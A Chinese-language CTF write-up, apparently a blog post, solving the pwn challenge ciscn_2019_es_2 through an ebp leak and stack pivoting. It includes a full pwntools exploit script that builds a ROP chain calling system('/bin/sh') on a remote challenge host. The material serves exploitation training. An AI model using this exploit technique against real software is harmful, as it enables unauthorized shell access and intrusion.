ciscn_2019_es_2

ciscn_2019_es_2

使用checksec查看:
在这里插入图片描述
只开启了栈不可执行,放进IDA中查看:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M8FwTQds-1637559211711)(ciscn_2019_es_2.assets/image-20211009012924528.png)]
主函数中直接给了vul() 函数,跟进去查看:
在这里插入图片描述
程序读取了两次数据,都是用变量s接收,但溢出所需的输入空间不够

so…空间不够,可以考虑使用栈迁移的方式:

两次s变量使用的都是同一空间,可以使用第一次read去泄露出ebp的地址,接着利用第二次read在s变量处写入ROP,在ret时,进行栈迁移,迁移到s处。

from pwn import *

#start 
r = remote("node4.buuoj.cn",27150)
# r = process("../buu/ciscn_2019_es_2")
elf = ELF("../buu/ciscn_2019_es_2")

#params
system_addr = elf.symbols['system']
ret_addr = 0x080484b8

#attack
payload = b'M'*0x27 + b'm'
r.send(payload)
r.recvuntil('MMMm')
ebp_addr = u32(r.recv(4))

#attack2
payload2 = b'M'*4 + p32(system_addr) + b'M'*4 + p32(ebp_addr-0x28) + b'/bin/sh\x00'	#ebp_addr-0x28 是/bin/sh的地址,system从该地址取到/bin/sh参数
payload2 = payload2.ljust(0x28,b'M')
payload2 += p32(ebp_addr-0x38) + p32(ret_addr)
r.send(payload2)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值